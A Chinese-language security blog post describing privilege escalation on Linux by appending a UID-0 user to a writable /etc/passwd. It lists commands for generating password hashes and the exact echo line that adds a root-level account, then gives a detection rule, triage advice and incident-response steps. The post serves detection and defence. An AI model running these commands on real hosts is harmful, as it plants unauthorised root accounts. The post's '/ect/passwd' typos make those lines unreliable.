Linux利用passwd文件提权

Linux利用passwd文件提权

威胁场景

Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作,如果有可写入权限,攻击者就可能写入一个任意权限的用户进去达到提权的目的。

场景复现

此时攻击者已经获得了shell权限,且对/ect/passwd文件拥有写权限(虽然其实一般都没有)
1.设置一个喜欢的密码并使用某种算法(不知道具体是啥算法,有大佬可以指点一下,所以反正用加密方式1、2加密的玩意儿写进/etc/passwd我是没成功,但是3、4、5可以)进行加密,对盐值好像没有要求,随便指定都可以
加密的 5 种方式:

  1. 利用openssl生成加密的密码
    ps:注意openssl版本,早期版本只有-1的,如需更新详见链接:

https://cloud.tencent.com/developer/article/2396540

# 语法:openssl passwd -1 -salt[salt value] password
## passwd - openssl子命令,用于生成密码散列
## -1 - 指定生成散列的算法,-1指MD5(默认值),-6是SHA512
## -salt - 指定盐值,如没有指定则会随机一个
## password - 待加密的密码
eg. openssl passwd -6 -salt us pass123

官方命令文档链接:

https://www.openssl.org/docs/man3.3/man1/index.html

  1. mkpasswd生成
eg. mkpasswd -m SHA-512 pass
# -m - 指定加密算法
  1. 利用python中的crypt库生成
eg. python -c 'import crypt; print crypt.crypt("pass", "nb")'
# crypt()函数通常会使用与操作系统相同的默认加密算法
# crypt()第一个参数是要加密的密码,第二个参数是盐值,下同
  1. 利用Perl和crypt来使用salt值为我们的密码生成哈希值
eg.perl -le 'print crypt("pass123", "abc")'
  1. php语言
eg. php -r "print(crypt('pass123','123') . " ");"

2.将这个密码写入 /etc/passwd 文件

echo "test1:nbh4Y1ouzGQ3w:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
# test1 - 这是用户名,表示用户的登录名
# nbh4Y1ouzGQ3w - 加密后的密码字段
# 0:0 - UID:GID,这里是超级用户
# User_like_root - 用户全名或注释
# /root - 用户主目录,登录时会进入该目录
# /bin/bash - 用户默认的shell,定义了用户登录后使用的命令行解释器

置信度

检测方法

命令行先检测到 加密 命令,然后检测到 “echo”、 “>>”、 “/ect/passwd”
以下为示例规则:

- action: group 
  a:
  - source: terminal_log
  - filter:  # 过滤条件
     or:
         - and:
             - object_proc ~contains "openssl"
             - object_cmdline ~contains "passwd"
         - and:
             - object_cmdline ~contains "crypt"
             - or:
                 - object_proc ~contains "python"
                 - object_proc ~contains "perl"
                 - object_proc ~contains "php"
  b:
  - source: terminal_log 
  - filter:  # 过滤条件
     and:
         - op_type_cd = "file_operate" 
         - object_proc ~contains "echo"
         - object_file contains "/etc/passwd"
- sequence: a{1} b{1} # 序列模型
  keyBy: dip # 序列分组条件
  within: 5m # 序列时间窗口

研判建议

立刻确定对应主机/etc/passwd文件中内容,如出现新创建的权限过大的用户则该攻击已成功

应急响应

1.清除可疑用户
2.全盘查杀,清除可能的后门残留
3.控制好对 /etc/passwd 文件操作的权限

  • 11
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值